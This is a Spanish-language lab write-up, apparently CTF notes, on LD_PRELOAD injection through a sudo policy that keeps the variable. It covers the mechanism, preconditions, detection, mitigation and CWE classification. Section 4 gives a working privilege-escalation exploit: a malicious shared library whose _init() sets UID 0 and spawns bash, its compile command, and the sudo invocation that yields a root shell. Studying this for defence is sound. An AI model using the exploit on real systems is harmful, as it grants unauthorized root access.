1. Descripción técnica
LD_PRELOAD permite ordenar al cargador dinámico de Linux que cargue una biblioteca compartida antes que las dependencias normales de un programa. La técnica se convierte en LD_PRELOAD Injection cuando un usuario controla esa variable y consigue que un proceso de mayor confianza cargue una biblioteca también controlada por él.
En el caso de sudo, la configuración debe conservar expresamente la variable mediante env_keep+=LD_PRELOAD y autorizar al usuario a ejecutar al menos un binario enlazado dinámicamente. No basta con que sudo -l muestre NOPASSWD: el límite de confianza se rompe porque el cargador procesa una biblioteca elegida por el usuario dentro de la ejecución privilegiada.
1.1 Evidencia de configuración
En 065-preload, sudo -l muestra los privilegios de paul y la conservación de la variable:
paul@preload:~$ sudo -l
Matching Defaults entries for paul on preload:
env_reset, mail_badpass, env_keep+=LD_PRELOAD,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User paul may run the following commands on preload:
(root) NOPASSWD: /usr/bin/cat, /usr/bin/cut, /usr/bin/grep, /usr/bin/tail,
/usr/bin/head, /usr/bin/ssObservaciones importantes
==
NOPASSWD==: Significa quepaulpuede ejecutar esos comandos como root sin necesidad de contraseña. Esto ya es un potencial riesgo si esos comandos pueden ser explotados de alguna manera.==
env_keep+=LD_PRELOAD==: Esto indica quesudono limpia la variable de entornoLD_PRELOAD. Normalmente,sudoelimina variables que podrían afectar la ejecución de comandos para prevenir ataques, pero aquí permite que el usuario manipule LD_PRELOAD incluso al usar sudo.
1.2 Mecanismo del cargador
LD_PRELOAD es una variable de entorno utilizada en sistemas Linux con la biblioteca dinámica (glibc), que indica al cargador dinámico, que cargue ciertas librerías antes de cualquier otra.
Esto tiene aplicaciones legítimas, como:
- Redefinir funciones de bibliotecas estándar para depuración o testing.
- Sobrescribir funciones de manera controlada.
Pero también puede ser un vector de ataque: si un usuario puede cargar una librería propia antes de que se ejecute un binario privilegiado, puede ejecutar código arbitrario con los privilegios de ese binario.
2. Impacto
Cuando el proceso consumidor se ejecuta como root, el constructor de la biblioteca obtiene ejecución con UID 0. En otros contextos, como un proceso web, la técnica conserva los privilegios de ese proceso y puede servir para evitar restricciones de ejecución sin producir una escalada de privilegios.
3. Condiciones necesarias
- El atacante controla
LD_PRELOADen el entorno que recibe el proceso objetivo. - Puede escribir o aportar la biblioteca indicada.
- El ejecutable usa el cargador dinámico y no descarta la variable antes de cargar dependencias.
- Para una escalada mediante
sudo, la política conservaLD_PRELOADy autoriza una ejecución con una identidad privilegiada.
4. Explotación documentada
4.1 065-preload
Creación de la biblioteca
El código pwned.c es:
❯ cat pwned.c
#include <stdlib.h>
#include <unistd.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}Explicación línea por línea:
==
void _init() { ... }==_init()es una función especial en bibliotecas compartidas que se ejecuta automáticamente al cargar la librería, antes de cualquier otra función del binario.
==
unsetenv("LD_PRELOAD");==- Evita recursión: si la variable
LD_PRELOADsigue activa, podría intentar cargar la librería repetidamente causando errores.
- Evita recursión: si la variable
==
setgid(0); setuid(0);==- Cambia el grupo y usuario efectivo a root (ID 0). Esto es crítico: garantiza que la shell que ejecutemos tenga privilegios de root.
==
system("/bin/bash");==- Lanza una shell interactiva como root.
Compilación de la biblioteca
gcc -fPIC -shared -o pwned.so pwned.c -nostartfiles- ==
-fPIC==: genera código independiente de posición (requerido para librerías compartidas). - ==
-shared==: indica que compilamos una librería compartida (.so). - ==
-nostartfiles==: evita vincular la inicialización estándar de C, lo cual es opcional aquí.
Ejecución con sudo y LD_PRELOAD
sudo LD_PRELOAD=/tmp/pwned.so ss==
ss== es un binario permitido para ejecutar como root segúnsudo -l.==
LD_PRELOAD=/tmp/pwned.so== fuerza a que se cargue nuestra librería maliciosa al iniciarss.
Como resultado, _init() se ejecuta antes que ss, escalando privilegios y abriendo una shell como root:
paul@preload:/tmp$ gcc -fPIC -shared -o pwned.so pwned.c -nostartfiles
paul@preload:/tmp$ sudo LD_PRELOAD=/tmp/pwned.so ss
root@preload:/tmp#4.2 010-icarus y 067-dejavu
En 010-icarus, sudo también conserva LD_PRELOAD y carga una biblioteca desde /tmp antes de iniciar un binario autorizado como root. En 067-dejavu, Chankro emplea el mismo mecanismo de precarga dentro del contexto de www-data para alcanzar ejecución nativa pese a las restricciones de PHP; ese segundo caso demuestra code execution, no una escalada automática a root.
5. Validación y detección
- Revisar
sudo -ly/etc/sudoersen busca deenv_keep+=LD_PRELOAD. - Confirmar que el comando autorizado está enlazado dinámicamente con
fileoldd. - Auditar procesos privilegiados que acepten variables de entorno controladas y cargas de bibliotecas desde rutas escribibles.
6. Mitigación
- Evitar permitir
LD_PRELOADen sudo:- Eliminarlo de
env_keepen/etc/sudoers:Defaults !env_keep+="LD_PRELOAD"
- Eliminarlo de
- Revisar comandos permitidos:
- Evitar permitir la ejecución de binarios que puedan ser manipulados con librerías compartidas (casi cualquier binario que use glibc dinámico).
- Auditoría regular de sudoers:
- Revisar quién puede ejecutar comandos con NOPASSWD y qué variables de entorno están permitidas.
7. Clasificación
- Tipo: Uncontrolled Search Path / Privilege Escalation or Code Execution
- CWE:
- CWE-427: Uncontrolled Search Path Element
- CWE-250: Execution with Unnecessary Privileges